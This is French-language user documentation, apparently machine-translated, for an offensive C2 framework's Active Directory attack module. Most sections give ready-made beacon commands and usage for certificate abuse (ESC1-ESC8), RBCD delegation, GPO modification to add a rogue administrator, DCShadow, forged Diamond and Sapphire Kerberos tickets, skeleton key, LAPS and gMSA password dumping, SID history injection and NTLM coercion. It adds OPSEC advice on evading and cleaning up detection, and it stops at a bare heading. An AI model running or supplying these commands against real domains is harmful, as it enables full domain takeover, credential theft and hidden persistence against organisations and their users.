Attaques Active Directory¶
Stentor fournit une suite complète de techniques d'attaque Active Directory couvrant l'abus des services de certificat (ADCS ESC1-ESC8), l'exploitation de la délégation, la manipulation des stratégies de groupe, la réplication d'annuaire, la falsification avancée de tickets Kerberos, l'extraction d'informations d'identification à partir d'objets AD, l'abus de confiance, la coercition d'authentification et l'élévation de privilèges basée sur l'ACL. Chaque technique s'exécute en cours de processus via le beacon : aucun processus enfant n'est généré, aucun outil externe n'est déposé sur le disque.
Aperçu¶
Active Directory est l'épine dorsale de la gestion des identités et des accès en entreprise, et sa surface d'attaque est par conséquent vaste. Stentor organise les attaques AD en neuf catégories qui correspondent à la progression typique d'un engagement de compromission de domaine :
graph TD
A[Initial Foothold<br/>Domain User] --> B{Reconnaissance}
B --> C[ACL Abuse<br/>Permission-based escalation]
B --> D[ADCS Exploitation<br/>Certificate abuse ESC1-ESC8]
B --> E[Coercion<br/>Forced authentication]
B --> F[GPO Abuse<br/>Group Policy manipulation]
C --> G[Credential Extraction<br/>LAPS, gMSA]
D --> H[Kerberos Tickets<br/>Diamond, Sapphire]
E --> D
F --> I[Code Execution<br/>via GPO deployment]
G --> J[Lateral Movement]
H --> J
I --> J
J --> K[Delegation Abuse<br/>RBCD, S4U]
K --> L[Domain Admin]
L --> M[Trust Abuse<br/>Cross-forest]
L --> N[DCShadow<br/>Rogue DC]
L --> O[Persistence<br/>SID History, Skeleton Key]
style A fill:#6a1b9a,color:#fff
style L fill:#b71c1c,color:#fff
style M fill:#1a237e,color:#fff
style N fill:#1a237e,color:#fff
style O fill:#1a237e,color:#fff Catégories d’attaques AD¶
| Catégorie | Techniques | Privilège typique requis | ATTAQUE À ONGLET&CK |
|---|---|---|---|
| ADCS | ESC1-ESC8, informations d'identification fantômes, PKINIT, UnPAC | Utilisateur du domaine (varie selon ESC) | T1649 |
| Abus de délégation | RBCD (ajouter un ordinateur, délégation d'écriture, S4U) | Utilisateur du domaine + accès en écriture à la cible | T1134.001, T1558 |
| Abus de GPO | Énumérer, modifier, nettoyer | Accès en écriture à l'objet GPO | T1484.001, T1615 |
| DCShadow | Enregistrez le DC malveillant, effectuez les modifications, effectuez le nettoyage | Administrateur de domaine | T1207 |
| Billets Kerberos | Billet Diamant, Billet Saphir, Clé Squelette | Clé AES krbtgt (équivalent DA) | T1558.001, T1556.001 |
| Extraction d'informations d'identification AD | Décharge LAPS, décharge gMSA | Accès en lecture aux attributs LAPS/gMSA | T1552.006, T1555 |
| Abus de confiance | Énumération de confiance, injection d'historique SID | Administrateur de domaine (pour injection) | T1482, T1134.005 |
| Coercition | PrinterBug, PetitPotam, DFSCoerce, ShadowCoerce, CheeseOinking | Utilisateur du domaine | T1187 |
| Abus d'ACL | Réinitialisation du mot de passe, définition du SPN, ajout d'un membre, octroi de DCSync, prise en charge, SDHolder | Varie selon l'autorisation ACL | T1098, T1222.001 |
Attaques ADCS (ESC1-ESC8)¶
Les services de certificats Active Directory (AD CS) constituent l’une des surfaces d’attaque les plus efficaces dans les environnements AD modernes. La convention de dénomination ESC suit le document de recherche SpecterOps « Certified Pre-Owned », qui a identifié huit classes principales de mauvaise configuration (ESC1 à ESC8) qui permettent une élévation de privilèges via un abus de certificat.
Chaque technique d'exploitation ADCS dans Stentor s'enchaîne automatiquement à l'authentification PKINIT et à UnPAC-the-Hash pour l'extraction NTLM, fournissant ainsi un pipeline complet de certificat à identifiant.
ESC1 : Sujet des fournitures pour les inscrits¶
ESC1 exploite les modèles de certificat dans lesquels CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT est défini et où l'EKU d'authentification client est présent, permettant au demandeur de spécifier un nom alternatif de sujet (SAN) arbitraire pour usurper l'identité de n'importe quel utilisateur de domaine.
Chaîne d'attaque : Demander un certificat avec SAN arbitraire -> PKINIT avec certificat -> TGT en tant qu'utilisateur cible -> UnPAC-the-Hash pour NTLM
esc1 [email protected] DC01\CorpCA VulnTemplate CORP.LOCAL 10.10.10.1
Utilisation : esc1 <target_user> [ca] [template] [domain] [dc]
| Paramètre | Obligatoire | Description |
|---|---|---|
target_user | Oui | UPN de l'utilisateur à usurper l'identité (par exemple, [email protected]) |
ca | Non | Chaîne de configuration CA (format : hostname\CAName) |
template | Non | Nom du modèle de certificat vulnérable |
domain | Non | Domaine AD pour la chaîne automatique PKINIT |
dc | Non | Contrôleur de domaine pour la chaîne automatique PKINIT |
curl -s -X POST https://stentor.app/api/v1/cockpit/shell \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"beacon_id": "BEACON_UUID",
"command": "esc1 [email protected] DC01\\CorpCA VulnTemplate CORP.LOCAL 10.10.10.1"
}'
OPSEC
Les demandes de certificat sont enregistrées dans la base de données des certificats émis par l'autorité de certification et génèrent l'événement Windows 4887 (les services de certificats ont approuvé une demande de certificat). La valeur SAN est visible dans le certificat émis. ATTAQUE À ONGLET : T1649
ESC2 : EKU à tout usage¶
ESC2 exploite des modèles avec un EKU « Any Purpose » (OID 2.5.29.37.0) ou aucune contrainte EKU. Le certificat émis peut être utilisé pour l'authentification client même s'il ne dispose pas explicitement de cette EKU, permettant ainsi l'authentification PKINIT en tant qu'utilisateur actuel.
Utilisation : esc2 [ca] [template] [domain] [dc]
Contexte utilisateur actuel
Contrairement à ESC1, ESC2 ne permet pas l'usurpation d'identité d'autres utilisateurs. Le certificat est délivré à l'utilisateur actuel. L’escalade dépend de l’accès de l’utilisateur actuel à un modèle Any Purpose.
ESC3 : Agent d'inscription¶
ESC3 est une attaque d'agent d'inscription en deux étapes. Tout d’abord, demandez un certificat d’agent de demande de certificat, puis utilisez-le pour demander un certificat au nom d’un utilisateur cible à partir d’un modèle différent.
esc3 [email protected] DC01\CorpCA AgentTemplate UserTemplate CORP.LOCAL 10.10.10.1
Utilisation : esc3 <target_user> [ca] [agent_template] [target_template] [domain] [dc]
| Paramètre | Obligatoire | Description |
|---|---|---|
target_user | Oui | UPN de l'utilisateur à usurper l'identité |
ca | Non | Chaîne de configuration de l'autorité de certification |
agent_template | Non | Modèle avec EKU de l'agent de demande de certificat |
target_template | Non | Modèle qui permet les demandes d'agent d'inscription |
domain | Non | Domaine AD |
dc | Non | Contrôleur de domaine |
Chaîne d'attaque : Certificat d'agent -> Certificat au nom de -> PKINIT TGT -> Hachage NTLM
ESC4 : ACL de modèle vulnérable¶
ESC4 cible les modèles de certificat pour lesquels l'utilisateur actuel dispose d'un accès en écriture (GenericWrite, GenericAll, WriteOwner, WriteDACL). L'attaque modifie le modèle via LDAP pour activer ENROLLEE_SUPPLIES_SUBJECT, puis s'enchaîne au flux ESC1.
esc4 [email protected] WritableTemplate DC01\CorpCA CORP.LOCAL 10.10.10.1
esc4 [email protected] WritableTemplate DC01\CorpCA CORP.LOCAL 10.10.10.1 --no-restore
Utilisation : esc4 <target_user> <template> [ca] [domain] [dc] [--no-restore]
Chaîne d'attaque : Modification du modèle -> ESC1 (SAN arbitraire) -> PKINIT TGT -> Hachage NTLM -> Restauration du modèle
Risque de détection élevé
Les modifications de modèle génèrent l’ID d’événement 5136 (Modifications du service d’annuaire) dans le journal des événements de sécurité AD. Par défaut, Stentor restaure automatiquement la configuration du modèle d'origine après exploitation. Utilisez --no-restore uniquement si vous devez conserver la modification.
ESC6 : EDITF_ATTRIBUTESUBJECTALTNAME2¶
Lorsque l'autorité de certification a activé EDITF_ATTRIBUTESUBJECTALTNAME2, TOUTE demande de certificat peut inclure un SAN arbitraire dans la chaîne d'attributs de la demande, quels que soient les paramètres du modèle. Cela rend effectivement chaque modèle de cette autorité de certification vulnérable.
esc6 [email protected] DC01\CorpCA User CORP.LOCAL 10.10.10.1
Utilisation : esc6 <target_user> [ca] [template] [domain] [dc]
Le modèle est par défaut Utilisateur
Si aucun modèle n'est spécifié, ESC6 utilise par défaut le modèle User qui est généralement disponible pour tous les utilisateurs du domaine.
ESC7 : ManageCA / ManageCertificates¶
ESC7 exploite les autorisations au niveau de l'autorité de certification. Deux scénarios sont pris en charge :
Utilisez l'autorisation ManageCA pour activer EDITF_ATTRIBUTESUBJECTALTNAME2 sur l'autorité de certification via ICertAdmin2::SetConfigEntry, puis chaînez-la vers ESC6.
esc7 [email protected] DC01\CorpCA User CORP.LOCAL 10.10.10.1 a
Chaîne : ManageCA -> Activer EDITF -> ESC6 (SAN dans les attributs) -> PKINIT -> NTLM
Soumettez une demande de certificat à un modèle nécessitant l'approbation du responsable, puis auto-approuvez-la via ICertAdmin::ResubmitRequest.
esc7 [email protected] DC01\CorpCA ApprovalTemplate CORP.LOCAL 10.10.10.1 b
Chaîne : Soumettre la demande en attente -> Auto-approbation de l'agent -> Récupérer le certificat -> PKINIT -> NTLM
Utilisation : esc7 <target_user> [ca] [template] [domain] [dc] [scenario:a|b]
ESC8 : relais NTLM vers inscription HTTP¶
ESC8 est l'attaque ADCS la plus percutante : elle ne nécessite aucune mauvaise configuration particulière du modèle, mais seulement que l'autorité de certification ait activé l'inscription HTTP (courant dans les environnements d'entreprise). Combiné avec la coercition NTLM (PetitPotam/PrinterBug), il permet l'escalade de domaine en relayant l'authentification vers le point de terminaison d'inscription HTTP de l'autorité de certification.
Authentifiez-vous auprès du point de terminaison d'inscription HTTP de l'autorité de certification à l'aide des informations d'identification fournies :
Utilisation : esc8 <ca_host> <ca_name> [template] [target] [domain] [dc] [--relay] [--listen-port 8080] [--user user] [--pass password]
Renvoi : Coercition
Le mode relais ESC8 est plus efficace lorsqu'il est combiné avec des techniques de coercition. Utilisez petitpotam ou printerbug pour déclencher l'authentification auprès du listener relais.
Prise en charge des commandes ADCS¶
cert_request¶
Demande de certificat générique : la commande de base pour toutes les opérations ADCS.
shadow_creds¶
Ajoutez un identifiant de clé à l'attribut msDS-KeyCredentialLink d'une cible, permettant l'authentification PKINIT sans connaître le mot de passe. Prend également en charge la liste et la suppression des informations d'identification clés.
shadow_creds svc_sql CORP.LOCAL 10.10.10.1
shadow_creds list svc_sql CORP.LOCAL 10.10.10.1
shadow_creds remove svc_sql <device_id> CORP.LOCAL 10.10.10.1
pkinit¶
Authentifiez-vous à l'aide d'un certificat (PFX/PKCS12) pour obtenir un TGT via RFC 4556 PKINIT.
unpac_the_hash¶
Extrayez le hachage NTLM d'une session Kerberos authentifiée par PKINIT en déchiffrant PAC_CREDENTIAL_INFO.
Comparaison ADCS-OPSEC¶
| ESC | Nécessite | Artefacts | Difficulté de détection |
|---|---|---|---|
| ESC1 | Modèle mal configuré (ENROLLEE_SUPPLIES_SUBJECT) | Journal du certificat CA (événement 4887) | Moyen |
| ESC2 | Modèle EKU à tout usage | Journal des certificats d'autorité de certification | Moyen |
| ESC3 | Modèle d'agent d'inscription + modèle cible | Deux entrées de journal CA (agent + pour le compte de) | Moyen |
| ESC4 | Accès en écriture à l'objet modèle | Événement 5136 (changement de service d'annuaire) + journal CA | Élevé |
| ESC6 | Indicateur EDITF activé sur CA | Journal des certificats d'autorité de certification | Faible-Moyen |
| ESC7 | ManageCA ou ManageCertificates sur CA | Modification de la configuration de l'autorité de certification + journal de l'autorité de certification | Moyen-élevé |
| ESC8 | Inscription HTTP activée sur CA | Réseau (HTTP vers /certsrv/) + journal CA | Faible |
| Crédits d'ombre | Écrire dans msDS-KeyCredentialLink | Événement 5136 (modification d'attribut) | Moyen |
Délégation contrainte basée sur les ressources (RBCD)¶
RBCD est une attaque en trois étapes qui exploite l'attribut msDS-AllowedToActOnBehalfOfOtherIdentity sur les comptes d'ordinateurs. Contrairement à la délégation contrainte classique (qui nécessite la configuration de l'administrateur de domaine), la délégation RBCD peut être configurée par n'importe quel principal disposant d'un accès en écriture à l'objet AD de l'ordinateur cible.
sequenceDiagram
participant Op as Operator
participant B as Beacon
participant AD as Active Directory
participant KDC as KDC
Note over Op,KDC: Step 1: Add Computer Account
Op->>B: rbcd_addcomputer EVILPC Password123
B->>AD: LDAP Add (objectClass=computer, sAMAccountName=EVILPC$)
AD-->>B: Success (MachineAccountQuota)
Note over Op,KDC: Step 2: Write Delegation
Op->>B: rbcd_write TARGET$ EVILPC$
B->>AD: LDAP Modify (msDS-AllowedToActOnBehalfOfOtherIdentity += EVILPC$ SID)
AD-->>B: Success
Note over Op,KDC: Step 3: S4U Attack
Op->>B: rbcd_attack TARGET$
B->>KDC: S4U2Self (as EVILPC$, impersonate Administrator)
KDC-->>B: Service Ticket (forwardable)
B->>KDC: S4U2Proxy (forward ticket to TARGET$ SPN)
KDC-->>B: Service Ticket for TARGET$
B-->>Op: Admin access to TARGET$ Étape 1 : rbcd_addcomputer¶
Créez un nouveau compte d'ordinateur en utilisant ms-DS-MachineAccountQuota (par défaut : 10 par utilisateur de domaine).
Utilisation : rbcd_addcomputer <name> [password] [domain] [dc]
OPSEC
La création d'un compte d'ordinateur génère l'événement de sécurité 4741 (compte d'ordinateur créé). Cet événement est couramment surveillé par les équipes SOC. ATTAQUE À ONGLET : T1136.002
Étape 2 : rbcd_write¶
Écrivez l'attribut msDS-AllowedToActOnBehalfOfOtherIdentity sur l'ordinateur cible pour autoriser la délégation à partir du compte d'ordinateur contrôlé par l'attaquant.
rbcd_write TARGET$ EVILPC$ CORP.LOCAL 10.10.10.1
rbcd_write TARGET$ EVILPC$ CORP.LOCAL 10.10.10.1 --remove
Utilisation : rbcd_write <target> <delegate_from> [domain] [dc] [--remove]
Étape 3 : rbcd_attack¶
Exécutez la chaîne d'attaque RBCD complète : S4U2Self + S4U2Proxy pour obtenir un ticket de service en tant qu'utilisateur usurpé.
rbcd_attack TARGET$ administrator CORP.LOCAL 10.10.10.1
rbcd_attack TARGET$ administrator CORP.LOCAL 10.10.10.1 --cleanup
Utilisation : rbcd_attack <target> [impersonate_user] [domain] [dc] [--cleanup] [--skip-add] [--skip-write] [--computer <name>] [--password <pass>] [--impersonate <user>] [--spn <spn>]
Mode tout-en-un
rbcd_attack sans --skip-add et --skip-write effectue automatiquement toute la chaîne en trois étapes (ajout d'un ordinateur + délégation d'écriture + S4U). Utilisez --cleanup pour supprimer le compte d'ordinateur et l'entrée de délégation après exploitation.
s4u¶
Commande autonome S4U2Self + S4U2Proxy pour une exploitation de délégation contrainte (non limitée au RBCD).
Utilisation : s4u <impersonate_user> <target_spn> <svc_user> <svc_password> <domain> [dc]
Procédure pas à pas complète de la chaîne d'attaque¶
- Énumérer les objets informatiques inscriptibles : recherchez
GenericAll,GenericWriteouWriteDACLsur les comptes d'ordinateurs cibles. - Ajouter un ordinateur :
rbcd_addcomputer EVILPC P@ssw0rd CORP.LOCAL 10.10.10.1 - Écrire la délégation :
rbcd_write DC01$ EVILPC$ CORP.LOCAL 10.10.10.1 - Demande de billet :
rbcd_attack DC01$ administrator CORP.LOCAL 10.10.10.1 - Utilisez le ticket :
kerberos_ticket_use <kirbi_base64>pour injecter le ticket de service - Nettoyage :
rbcd_write DC01$ EVILPC$ CORP.LOCAL 10.10.10.1 --remove
Abus des objets de stratégie de groupe¶
Les objets de stratégie de groupe (GPO) définissent les paramètres de sécurité, le déploiement de logiciels et les scripts qui s'appliquent aux ordinateurs et aux utilisateurs au sein des unités d'organisation liées. Si un attaquant dispose d'un accès en écriture à un GPO, il peut le modifier pour déployer des tâches planifiées, des scripts ou des attributions de droits d'utilisateur malveillants.
gpo_enum¶
Énumérez tous les GPO du domaine, leurs unités d'organisation liées et les autorisations d'écriture sur chaque GPO. Met en évidence les GPO inscriptibles à l’attention de l’opérateur.
Utilisation : gpo_enum [filter] [domain] [dc]
Technique de découverte
L'énumération GPO utilise des requêtes LDAP standard pour lire les objets groupPolicyContainer et leurs unités d'organisation liées. Tout utilisateur de domaine authentifié peut énumérer les GPO. ATTAQUE À ONGLET : T1615
gpo_modify¶
Modifiez un GPO inscriptible pour déployer une tâche planifiée immédiate. La modification met à jour à la fois le GPC (Group Policy Container) dans LDAP et le GPT (Group Policy Template) ScheduledTasks.xml sur SYSVOL.
gpo_modify "Default Domain Policy" "powershell -enc AAAA..." --task-name UpdateCheck --user SYSTEM
gpo_modify "IT Workstations" "net localgroup administrators evil$ /add" --force
Utilisation : gpo_modify <gpo_name> <command> [arguments] [--task-name <name>] [--user <context>] [--force] [--domain <domain>] [--dc <dc>]
Risque de détection élevé
Les modifications GPO génèrent plusieurs événements d'audit : événement 5136 (modification du service d'annuaire), événement 5145 (accès au fichier SYSVOL) et événement 4698 (création de tâches planifiées sur les machines concernées). L'actualisation de la stratégie de groupe se produit généralement dans un délai de 90 à 120 minutes, ou immédiatement avec gpupdate /force.
gpo_cleanup¶
Restaurer un GPO à son état d'origine après exploitation. Supprime le ScheduledTasks.xml de SYSVOL et rétablit les numéros de version GPC.
Utilisation : gpo_cleanup <gpo_name> [domain] [dc]
Chaîne d'attaque GPO¶
- Enumerate :
gpo_enum-- identifie les objets de stratégie de groupe inscriptibles - Identifier les cibles : Notez à quelles unités d'organisation l'objet de stratégie de groupe inscriptible est lié
- Modifier :
gpo_modify "WritableGPO" "net localgroup administrators evil$ /add" - Attendez : Actualisation de la stratégie de groupe (90 à 120 minutes) ou force :
gpupdate /forcesur la cible - Nettoyage :
gpo_cleanup "WritableGPO"
DCShadow¶
DCShadow (T1207) permet à un attaquant d'enregistrer temporairement un contrôleur de domaine malveillant et de pousser les modifications AD qui apparaissent comme du trafic de réplication légitime. Les modifications apportées via DCShadow sont attribuées à l’ID d’invocation du DC malveillant dans les métadonnées de réplication, ce qui rend l’analyse médico-légale plus difficile.
Risque de détection extrême
DCShadow nécessite les privilèges d'administrateur de domaine, modifie la partition de configuration et crée/supprime les objets serveur et nTDSDSA. Bien que la technique soit conçue pour éviter les pistes d'audit de modification LDAP standard, les modifications du SPN et les modifications de la partition de configuration peuvent être détectées par une surveillance avancée. Nécessite deux beacons : une fonctionnant en tant que SYSTEM pour l'enregistrement DC et une en tant que DA pour la réplication push.
dcshadow_register¶
Enregistrez la machine actuelle en tant que contrôleur de domaine malveillant en créant des objets nTDSDSA et serveur dans la partition de configuration et en ajoutant des SPN spécifiques au contrôleur de domaine au compte de l'ordinateur.
Utilisation : dcshadow_register [computer_name] [domain] [dc]
dcshadow_push¶
Poussez une modification d’attribut AD tout en étant enregistré en tant que contrôleur de domaine malveillant. La modification est attribuée à l’ID d’invocation du contrôleur de domaine malveillant dans les métadonnées de réplication.
dcshadow_push "CN=target,CN=Users,DC=corp,DC=local" description "Modified via DCShadow"
dcshadow_push "CN=target,CN=Users,DC=corp,DC=local" sIDHistory S-1-5-21-xxx-519 --type binary_hex
Utilisation : dcshadow_push <target_dn> <attribute> <value> [--type <string|binary_hex|int>] [--op <replace|add|delete>]
dcshadow_cleanup¶
Supprimez toutes les traces DC indésirables : supprimez nTDSDSA et les objets serveur de la partition de configuration et supprimez les SPN DC du compte d'ordinateur.
Utilisation : dcshadow_cleanup [computer_name] [domain] [dc]
dcshadow (tout-en-un)¶
Exécutez le cycle de vie complet de DCShadow en une seule commande : registre -> modification push -> nettoyage.
dcshadow "CN=target,CN=Users,DC=corp,DC=local" description "Modified" --computer WORKSTATION1
dcshadow "CN=target,CN=Users,DC=corp,DC=local" sIDHistory S-1-5-21-xxx-519 --type binary_hex --skip-cleanup
Utilisation : dcshadow <target_dn> <attribute> <value> [--computer <name>] [--skip-cleanup] [--type <string|binary_hex|int>] [--op <replace|add|delete>]
Chaîne d'attaque DCShadow¶
- Enregistrez un DC malveillant :
dcshadow_register(à partir du beacon SYSTEM) - Modification push :
dcshadow_push(à partir du beacon DA) -- par exemple, modifier sIDHistory, la description ou tout autre attribut - Nettoyage :
dcshadow_cleanup(depuis le beacon SYSTEM) – supprime toutes les traces DC malveillantes - Vérifier : Les modifications apparaissent dans les métadonnées de réplication attribuées à l'ID d'appel du contrôleur de domaine malveillant.
Billets Kerberos avancés¶
Au-delà des tickets Golden et Silver (abordés dans la page Credentials), Stentor implémente les tickets Diamond et Sapphire pour une falsification de tickets Kerberos plus résistante à la détection, ainsi qu'une clé squelette pour des portes dérobées d'authentification persistantes.
diamond_ticket¶
Les Diamond Tickets demandent un TGT légitime via AS-REQ, puis décryptent et modifient le PAC pour inclure les adhésions aux groupes d'administrateurs. Contrairement aux Golden Tickets (entièrement falsifiés), les Diamond Tickets partent d'une véritable interaction KDC, ce qui les rend plus difficiles à détecter car le ticket possède une signature KDC légitime et crée un véritable événement 4768 dans les journaux KDC.
diamond_ticket CORP.LOCAL S-1-5-21-1234567890-1234567890-1234567890 10.10.10.1 aes256_hex_key
diamond_ticket CORP.LOCAL S-1-5-21-xxx 10.10.10.1 aes256key --user jsmith --user-password P@ss --impersonate Administrator --rid 500
Utilisation : diamond_ticket <domain> <domain_sid> <dc> <krbtgt_key> [--user <username>] [--user-hash <hash>] [--user-password <pw>] [--impersonate <name>] [--rid <rid>] [--output <path>] [--format <ccache|kirbi>]
| Paramètre | Obligatoire | Description |
|---|---|---|
domain | Oui | Domaine AD (par exemple, CORP.LOCAL) |
domain_sid | Oui | SID de domaine (par exemple, S-1-5-21-...) |
dc | Oui | IP/nom d'hôte du contrôleur de domaine |
krbtgt_key | Oui | Clé krbtgt AES256 (codée en hexadécimal) |
--user | Non | Utilisateur dont le TGT doit demander (par défaut : utilisateur actuel) |
--user-password | Non | Mot de passe de l'utilisateur pour AS-REQ légitime |
--user-hash | Non | Hachage NTLM/AES256 de l'utilisateur pour AS-REQ |
--impersonate | Non | Nom d'utilisateur à placer dans un PAC falsifié (par défaut : Administrateur) |
--rid | Non | RID pour PAC contrefait (par défaut : 500) |
--output | Non | Enregistrer le ticket dans le chemin du fichier |
--format | Non | Format de sortie : ccache ou kirbi |
Flux de billets Diamant :
- Demander un TGT légitime via AS-REQ (crée un véritable événement 4768)
- Décryptez EncTicketPart de TGT à l'aide de la clé krbtgt AES256
- Remplacez le PAC par un PAC contrefait contenant les adhésions aux groupes d'administrateurs
- Rechiffrer EncTicketPart modifié avec la clé krbtgt
- Exporter au format ccache ou kirbi
OPSEC
Les Diamond Tickets sont nettement plus difficiles à détecter que les Golden Tickets car le TGT provient d’une véritable interaction KDC. Cependant, le PAC modifié peut échouer aux contrôles de validation PAC sur les contrôleurs de domaine corrigés les plus récents (post-CVE-2021-42287). ATTAQUE À ONGLET : T1558.001
sapphire_ticket¶
Les tickets Sapphire constituent la technique de falsification de tickets la plus résistante à la détection. Ils obtiennent un PAC légitime du KDC via S4U2Self plutôt que d'en forger un manuellement, ce qui rend le contenu du PAC impossible à distinguer d'un vrai ticket.
Flux de billets Sapphire :
- Obtenez un TGT en tant que
krbtgten utilisant la clé krbtgt AES256 - Exécutez S4U2Self en tant que
krbtgtpour usurper l'identité de l'utilisateur cible - KDC génère un véritable PAC - Décryptez le ticket S4U2Self et extrayez le PAC légitime
- Créez un nouveau TGT avec le PAC légitime intégré
- Exporter au format ccache ou kirbi
Diamant contre saphir
Diamond Tickets forge le PAC avec des groupes d'administrateurs codés en dur. Les billets Sapphire utilisent un PAC généré par KDC avec de véritables adhésions à des groupes d'AD. Sapphire est pratiquement indétectable via l'inspection PAC mais nécessite le même accès par clé krbtgt.
skeleton_key¶
Injectez un mot de passe principal dans le contrôleur de domaine LSASS qui fonctionne avec les mots de passe normaux. Après injection, tout utilisateur du domaine peut s'authentifier à la fois avec son vrai mot de passe ET le mot de passe squelette.
Utilisation : skeleton_key [--password <custom_password>]
Mot de passe squelette par défaut : mimikatz
Risque extrême
Skeleton Key corrige directement la mémoire LSASS sur le contrôleur de domaine. Il s’agit de la technique de persistance disponible la plus risquée :
- Modifie un processus système critique sur le serveur le plus sensible du domaine
- Ne survit PAS au redémarrage du DC (le redémarrage LSASS efface le correctif)
- Corrige la fonction de validation RC4_HMAC_MD5 (etype 23) dans
cryptdll.dll - Nécessite un accès au niveau SYSTÈME sur un contrôleur de domaine
- MITRE ATT&CK : T1556.001 (Modifier le processus d'authentification)
Extraction des informations d'identification AD¶
laps_dump¶
Lisez les mots de passe LAPS (Local Administrator Password Solution) à partir d'Active Directory. Prend en charge à la fois LAPSv1 (ms-Mcs-AdmPwd, texte brut) et LAPSv2 (msLAPS-Password JSON, msLAPS-EncryptedPassword DPAPI-NG crypté).
laps_dump WS01
laps_dump * --domain CORP.LOCAL --dc 10.10.10.1
laps_dump DC01 --domain CORP.LOCAL --dc 10.10.10.1 --user admin --password P@ss
Utilisation : laps_dump [target] [--domain <domain>] [--dc <dc>] [--user <username>] [--password <password>]
Utilisez * comme cible pour vider les mots de passe LAPS pour tous les comptes d'ordinateur.
OPSEC
Les lectures de mots de passe LAPS sont enregistrées via les événements d'audit LDAP. L'attribut ms-Mcs-AdmPwd dispose d'une protection ACL explicite : seuls les mandataires disposant d'un accès en lecture peuvent récupérer les mots de passe. Vérifiez l'accès avec Get-ADComputer -Properties ms-Mcs-AdmPwd avant d'exécuter. ATTAQUE À ONGLET : T1552.006
gmsa_dump¶
Lisez les mots de passe du compte de service géré de groupe (gMSA) à partir du blob binaire msDS-ManagedPassword. Analyse la structure MSDS-MANAGEDPASSWORD_BLOB pour extraire les mots de passe actuels et précédents, puis calcule les hachages NTLM (MD4 des octets bruts du mot de passe UTF-16LE).
Utilisation : gmsa_dump [target] [--domain <domain>] [--dc <dc>] [--user <username>] [--password <password>]
Utilisez * comme cible pour vider tous les mots de passe gMSA.
OPSEC
L'accès au mot de passe gMSA est contrôlé par l'attribut PrincipalsAllowedToRetrieveManagedPassword sur l'objet gMSA. Seuls les directeurs de cette liste peuvent lire msDS-ManagedPassword. Les hachages NTLM extraits sont stockés dans le credcache pour une réutilisation du hachage. ATTAQUE À ONGLET : T1555
Abus de confiance et inter-forêts¶
trust_enum¶
Énumérez toutes les relations d’approbation de domaine et de forêt. Répertorie le type d’approbation (parent-enfant, forêt, externe), la direction (entrante, sortante, bidirectionnelle) et l’état du filtrage SID – essentiels pour déterminer si l’injection de l’historique SID réussira dans l’approbation.
Utilisation : trust_enum [--domain <domain>] [--dc <dc>] [--user <username>] [--password <password>]
La sortie inclut :
- Nom de domaine du partenaire de confiance et nom NetBIOS (plat)
- Direction de confiance : entrante, sortante ou bidirectionnelle
- Type de confiance : Parent-Enfant, Forêt, Externe, MIT (domaine Kerberos)
- Attributs de confiance : forêt transitive, filtrage SID, mise en quarantaine
- Faire confiance au SID et à l'état de filtrage des SID
Filtrage SID
Si le filtrage SID est activé sur une approbation, les SID injectés dans sIDHistory sont supprimés lors de l'authentification au-delà de la limite de confiance. Le filtrage SID est activé par défaut sur les approbations externes mais désactivé sur les approbations intra-forêt (parent-enfant). ATTAQUE À ONGLET : T1482
sid_history¶
Injectez des SID dans l’attribut sIDHistory d’un utilisateur pour une élévation de privilèges entre domaines ou entre forêts. Deux modes opérationnels sont disponibles : la modification directe LDAP et la modification basée sur DCShadow.
sid_history jsmith S-1-5-21-xxx-519 --domain CORP.LOCAL --dc 10.10.10.1
sid_history jsmith S-1-5-21-xxx-519 S-1-5-21-xxx-512 --mode dcshadow
sid_history jsmith S-1-5-21-xxx-519 --remove
Utilisation : sid_history <target> <sid1> [sid2...] [--mode <ldap|dcshadow>] [--remove] [--domain <domain>] [--dc <dc>] [--user <username>] [--password <password>]
| Paramètre | Obligatoire | Description |
|---|---|---|
target | Oui | sAMAccountName du compte dans lequel injecter l'historique SID |
sid1... | Oui | Chaînes SID à injecter (par exemple, Enterprise Admins SID) |
--mode | Non | ldap (direct, par défaut) ou dcshadow (plus furtif) |
--remove | Non | Supprimer les SID au lieu d'ajouter (nettoyage) |
Détails techniques : mode LDAP vs DCShadow
Le mode LDAP Direct modifie l'attribut sIDHistory via la modification LDAP standard. C'est rapide et simple mais génère des événements d'audit de modification LDAP directs (événement 5136). Nécessite les privilèges d’administrateur de domaine ou de propriétaire de compte.
Le mode DCShadow utilise le cycle de vie de DCShadow (enregistrer le DC malveillant -> pousser la modification sIDHistory -> nettoyer) afin que la modification apparaisse comme un trafic de réplication plutôt que comme une écriture LDAP directe. La modification est attribuée à l’ID d’invocation du contrôleur de domaine malveillant dans les métadonnées de réplication.
OPSEC
L’injection de SID History est une technique de persistance bien connue. Les modifications apportées à sIDHistory génèrent l'événement 4765/4766 (l'historique SID a été ajouté à un compte). Les produits de sécurité surveillent spécifiquement cet attribut. ATTAQUE À ONGLET : T1134.005
Coercition d’authentification¶
Les techniques de coercition d’authentification forcent une machine cible à s’authentifier auprès d’un listener contrôlé par un attaquant à l’aide de NTLM. L'authentification capturée peut être relayée vers d'autres services (LDAP, inscription HTTP ADCS, SMB) pour une élévation de privilèges. Les cinq techniques utilisent les interfaces Windows RPC pour déclencher le rappel.
printerbug¶
Abusez de la fonction `RpcRemoteFindFirstPrinterChangeNotification` (MS-RPRN) du service Print Spooler pour forcer l'authentification.
```
printerbug 10.10.10.1 10.10.10.50
printerbug DC01.corp.local 10.10.10.50 CORP\user P@ssword
```
**Utilisation :** `printerbug <target> <listener> [DOMAIN\user password]`
!!! info "Exigence de service"
Nécessite que le service **Print Spooler** (`Spooler`) soit exécuté sur la cible. Activé par défaut sur la plupart des serveurs et postes de travail Windows.
petitpotam¶
Abuser des fonctions EFS RPC (EfsRpcOpenFileRaw, MS-EFSRPC) pour forcer l'authentification. La technique de coercition la plus couramment utilisée.
Utilisation : petitpotam <target> <listener> [DOMAIN\user password]
État du correctif
Microsoft a publié des correctifs pour PetitPotam non authentifié (CVE-2021-36942), mais PetitPotam authentifié fonctionne toujours sur toutes les versions de Windows prises en charge.
dfscoerce¶
Abusez de l'interface DFS RPC (MS-DFSNM) pour forcer l'authentification via NetrDfsRemoveStdRoot ou NetrDfsAddStdRoot.
Utilisation : dfscoerce <target> <listener> [DOMAIN\user password]
shadowcoerce¶
Abusez de l'interface RPC du service d'agent VSS du serveur de fichiers (MS-FSRVP) pour forcer l'authentification via IsPathSupported.
Utilisation : shadowcoerce <target> <listener> [DOMAIN\user password]
cheeseoinking¶
